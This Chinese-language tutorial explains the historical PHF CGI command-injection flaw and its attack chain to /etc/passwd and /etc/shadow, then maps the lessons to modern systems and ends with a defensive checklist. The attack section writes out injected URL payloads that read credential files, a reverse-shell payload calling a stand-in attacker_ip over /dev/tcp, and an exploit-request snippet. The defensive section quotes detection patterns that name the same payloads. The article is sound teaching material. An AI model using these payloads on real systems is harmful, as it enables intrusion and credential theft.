萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

UNIX 密碼文件獲取技術揭秘:從 PHF 漏洞到 Shadow 文件讀取的攻擊鏈

早期 UNIX 系統中,CGI 程序 phf 因輸入驗證缺陷成為經典入口,攻擊者可借此以 Web 服務進程身份(甚至 root)執行任意命令,讀取 /etc/passwd、/etc/shadow、/etc/hosts 等敏感文件。雖屬歷史漏洞,但其攻擊思想——輸入驗證缺失 + 權限過度 + 信任鏈利用——在現代 Web 應用、容器逃逸、供應鏈攻擊中反復上演。本文還原攻擊全鏈路,並給出現代防禦對標。

PHF 漏洞攻擊全流程複現

1. 漏洞成因

phf (Phone Book Handler) 為 Apache cgi-bin 目錄下的查詢程序,接收參數 Qalias=x 後拼接命令執行:

/usr/local/bin/ph -m alias=x 

未過濾 user_input 中的 Shell 元字符(空格、分號、反引號、管道符),導致命令注入。

2. 攻擊步驟

  1. 指紋識別:lynx -dump "https://target/cgi-bin/phf?Qalias=x%20id" → 返回 uid=65534(nobody) 確認漏洞存在及進程身份
  2. 讀取密碼文件:?Qalias=x%20cat%20/etc/passwd → 獲取用戶列表、Hash (若未影子)
  3. 讀取 Shadow 文件:需 root 權限。若 httpd 以 root 運行(極危險配置),?Qalias=x%20cat%20/etc/shadow 直接獲取加密 Hash
  4. 反彈 Shell / 植入後門:?Qalias=x%20bash%20-i%20>%20/dev/tcp/attacker_ip/4444%200>%261 或下載植入 SSH 公鑰、Webshell
  5. 橫向移動:利用獲取的帳號密碼 Hash 進行 Pass-the-Hash、SSH 爆破、SU 切換

3. 自動化利用腳本 (phf.c) 核心邏輯


// 構造惡意 HTTP 請求
sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%20%s\n", command);
// 發送並接收響應
write(s, exploit, strlen(exploit));
read(s, buffer, 128);

關鍵技巧:空格編碼為 %20 (或 +),命令分隔符 ; | & ` 均可利用。

從 passwd 到 shadow:權限升級的關鍵一步

現代 Linux 默認啟用 Shadow 套件,/etc/passwd 中密碼欄位為 x,真實 Hash 在 /etc/shadow。攻擊者必須先提權至 root 或利用備份文件洩露 (如 /backup/etc/shadow、/tmp/shadow.bak、Git 歷史洩露)。

現代映射:同樣的錯誤在重演

文件權限內容破解價值
/etc/passwd世界可讀 (644)用戶名、UID、GID、家目錄、Shell、早期加密 Hash用戶枚舉、弱 Hash 破解
/etc/shadowroot:root 600/640用戶名、加密 Hash ($id$salt$hash)、過期/鎖定信息核心目標,需 root 或特定漏洞讀取
經典 PHF 場景現代對應場景核心共性
CGI 參數直接拼接命令Web 應用未參數化執行系統命令 (Python subprocess.shell=True、Java Runtime.exec、Go os/exec)輸入未驗證/轉義,代碼與數據未分離
Web 進程以 root 運行容器以 root 運行、Kubernetes 特權容器、systemd 服務 User=root最小權限原則違反,容器逃逸/主機入侵影響面最大化
信任內部網絡/本地文件微服務間相互信任、Sidecar 代理無認證、配置中心明文存儲密鑰零信任架構缺失,橫向移動無阻隔
無審計/日志記錄API 閘關閉訪問日志、容器標準輸出未收集、WAF 未部署/僅告警可見性盲區,攻擊者長期潛伏

現代防禦對標清單

  1. 輸入驗證與參數化:所有外部輸入(HTTP 參數、Header、Body、消息隊列)嚴格白名單驗證,拒絕 Shell 元字符;系統命令調用禁止 Shell 中介,使用參數化 API (subprocess.run(['cmd', arg1, arg2]))
  2. 最小權限運行:Web 進程/容器/服務帳號禁止 root,專用低權限用戶,啟用 User Namespace 映射
  3. 文件完整性監控 (FIM):/etc/passwd、/etc/shadow、/etc/sudoers、/root/.ssh/authorized_keys、Web 目錄核心文件 → Tripwire/AIDE/Wazuh 實時告警
  4. 攻擊面收縮:禁用/刪除不使用的 CGI、舊版 API、調試端口、默認頁面、示例腳本
  5. 威脅檢測規則:Suricata/Snort/Zeek 規則匹配 /cgi-bin/phf、cat /etc/shadow、bash -i >& /dev/tcp 等經典/變種攻擊載荷
  6. 定期滲透測試與紅隊演練:模擬 PHF 類命令注入、文件讀取、提權鏈,驗證防禦有效性

PHF 漏洞雖遠,其教訓永存:永不信任輸入、永不超授權、永不盲目信任內部網絡、永不缺失可見性。這四條鐵律,穿越三十年技術更迭,依然是構建安全系統的基石。

copyright © 萬盛學電腦網 all rights reserved